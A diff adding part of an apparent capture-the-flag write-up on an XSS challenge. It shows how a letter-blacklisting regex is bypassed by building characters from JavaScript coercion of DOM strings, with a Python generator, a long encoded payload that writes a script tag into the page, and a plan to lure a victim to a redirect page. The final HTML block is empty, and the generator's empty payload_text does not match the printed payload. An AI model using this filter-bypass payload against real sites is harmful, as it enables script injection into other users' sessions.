+### Final forbidden characters bypass
+
+However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit \(e\[\]\`${}\) are allowed**.
+This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.
+In order to do this I have generated a [JSFuck](http://www.jsfuck.com/) like alphabet to generate the necesary characters \(_this alphabet is custom for this challenge_\).
+You can **see the full alphabet inside the exploit code** \(which can be found in the next subsection and in the file _exploit.txt_\).
+
+For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.
+Using these tricks and some more complex ones it was possible to **generate all the characters \(letters and symbols\) of the strings contained** in the exploit:
+
+```javascript
+e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}`
+```
+
+### Exploit Code
+
+This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
+
+```python
+
+#JS Specific Direct Alphabet
+x = {
+ "1": "1",
+ ".": ".",
+ "[": "[e+e][0][0]",
+ "]": "[e+e][0][27]",
+ "/": "[/e/+e][0][0]",
+ "a": "[[]/e+e][0][1]",
+ "b": "[e+e][0][2]",
+ "c": "[e+e][0][5]",
+ "d": "[[][[]]+e][0][2]",
+ "e": "[e+e][0][4]",
+ "f": "[[][[]]+e][0][4]",
+ "g": "[e+e][0][15]",
+ "H": "[e+e][0][8]",
+ "i": "[[][[]]+e][0][5]",
+ "j": "[e+e][0][3]",
+ "L": "[e+e][0][11]",
+ "l": "[e+e][0][21]",
+ "M": "[e+e][0][10]",
+ "n": "[[][[]]+e][0][1]",
+ "N": "[[]/e+e][0][0]",
+ "o": "[e+e][0][1]",
+ "r": "[e+e][0][13]",
+ "s": "[e+e][0][18]",
+ "t": "[e+e][0][6]",
+ "T": "[e+e][0][9]",
+ "u": "[[][[]]+e][0][0]",
+}
+
+#JS Dependent Alphabet
+#The following alphabet will use previously obtained characters
+#Note that this way of getting the characters are custom for the abused HTML
+
+outerHTML = '+'.join(x[k] for k in 'outerHTML')
+
+x['p'] = f'e[{outerHTML}][1]'
+x['y'] = f'e[{outerHTML}][39]'
+x['<'] = f'e[{outerHTML}][0]'
+x['>'] = f'e[{outerHTML}][62]'
+x['"'] = f'e[{outerHTML}][13]'
+
+parentNode = '+'.join(x[k] for k in 'parentNode')
+document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
+
+x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
+
+children = '+'.join(x[k] for k in 'children')
+captcha = '+'.join(x[k] for k in 'captcha')
+
+x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
+write = '+'.join(x[k] for k in 'write')
+
+x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
+x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
+x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
+
+
+# Exploit generation
+payload_text = ''
+payload = '+'.join(x[k] for k in payload_text)
+
+txt = f'{document}[{write}]'+'`${['+payload+']}`'
+
+print(txt) #Write the exploit to stdout
+```
+
+### Exploitation
+
+In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
+
+```text
+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][42]+[[][[]]+e][0][2]+[e+e][0][1]+[e+e][0][5]+[[][[]]+e][0][0]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[e+e][0][0]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[[][[]]+e][0][2]+[e+e][0][1]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[[]/e+e][0][1]+[[][[]]+e][0][5]+[[][[]]+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[e+e][0][27]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][43]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[/e/+e][0][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]]}`
+```
+
+Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose \(_note that the exploit is URL encoded_\):
+
+```markup
+
+
+
+
+
+
+